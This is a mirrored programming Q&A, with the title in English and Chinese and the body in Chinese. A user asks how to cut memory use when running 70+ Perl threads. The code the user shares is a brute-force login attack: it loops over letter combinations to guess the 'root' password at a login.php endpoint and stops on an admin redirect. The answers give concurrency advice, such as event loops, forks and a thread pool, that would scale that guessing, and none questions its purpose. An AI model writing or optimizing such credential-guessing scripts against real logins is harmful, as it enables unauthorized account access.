【问题标题】:How do I reduce memory consumption when using many threads in Perl?在 Perl 中使用多个线程时如何减少内存消耗?
【发布时间】:2014-01-11 00:40:01
【问题描述】:

我想创建超过 70 个线程,每个线程都以不同的值开头。

为了更清楚,这是我的代码

use strict;
use warnings;
use threads;
use LWP::UserAgent;
my @char = (("A".."Z"),("a".."z"));
my @threads; 
my $ua = LWP::UserAgent->new;
push @threads , threads->create(\&Chara);

sub Chara {
foreach my $a (@char){
foreach my $b (@char){
foreach my $c (@char){
foreach my $d (@char){
foreach my $e (@char){
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]);
my $res = $ua->post(@req);
print "Trying A$e$d$c$b$a\n";
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){

print "A$e$d$c$b$a\n";
exit;
}}}}}}};;

我用不同的值重复了 70 多次,并在我放入脚本的末尾

$_->join foreach @threads;

但是当我运行脚本时它会消耗大量内存

任何建议。

请原谅我的语言。

【问题讨论】:

  • 那么你的问题是如何减少内存消耗?
  • 减少线程数,毕竟你还没有70个核心。您可能还需要考虑向您的网站添加一些基本的入侵监控......
  • 通过作业分组减少线程数,或考虑search.cpan.org/~msouth/ParallelUserAgent-2.61/lib/LWP/Parallel/…
  • 如果你真的想用尽可能少的内存做到这一点,使用 C,而不是 perl,不要使用库,编写你自己的最小函数(库往往有/需要很多在特殊情况下不需要的额外功能。无论如何,您将开始快速使网络服务器超载 - 即使您修复了内存,您也无法以接近全速的速度运行 70 个线程问题。

标签: multithreading perl memory


【解决方案1】:

虽然大多数其他语言使用轻量级的“共享一切”模型,但在访问数据时您必须非常小心,因为其他线程可能同时访问它们,而 Perl 使用的是重量级的“显式共享”模型,默认情况下不共享任何内容。这意味着,线程几乎与克隆进程一样昂贵,而分叉的唯一优势是更容易管理显式共享数据。

因此,在我看来,将 Perl 与线程一起使用是一个坏主意,尤其是在您使用大量线程的情况下。更好的方法是使用基于事件的模型,该模型由 AnyEvent 或 POE 等模块实现。这可以更好地扩展。在我工作的地方,我们使用它来编写应用程序代理,它可以在单个进程内扩展到 1000 个并行连接,而无需太多内存。使用 Perl 线程我们无法做到这一点。

在您的程序中,您尝试同时访问多个网站。您可以使用 AnyEvent::HTTP 或 Mojo::UserAgent 等模块来执行此事件。您还可以在 Coro::LWP 模块中使用基于协程的方法。

【讨论】:

    【解决方案2】:

    在导入线程之前使用分叉,例如:

    use forks;
    use threads;
    

    或者你可以像下面的代码那样限制你的线程:

    #!perl
    
    
    use strict;
    use warnings;
    use diagnostics;
    
    
    use Data::Dumper;
    use threads;
    
    
    my @IPS;
    for my $item (1..100) {
        push @IPS, $item;
    }
    
    my @Threads;
    
    for (1..5) {
        last if !@IPS;
        my $IP =shift(@IPS);
        push @Threads, async{ Connect($IP) };
    }
    
    
    while (@Threads) {
        my $thread = shift(@Threads);
        my $response = $thread->join;
        print Dumper($response);
        if (@IPS) {
            my $IP =shift(@IPS);
            push @Threads, async{ Connect($IP) };
        }
    }
    
    sub Connect {
        my $ip = shift;
        sleep(1);
        my $r=int(rand(10));
        return "test$r";
    
    }
    

    希望对你有所帮助!

    【讨论】:

      猜你喜欢
      • 2023-03-18
      • 1970-01-01
      • 2015-05-10
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多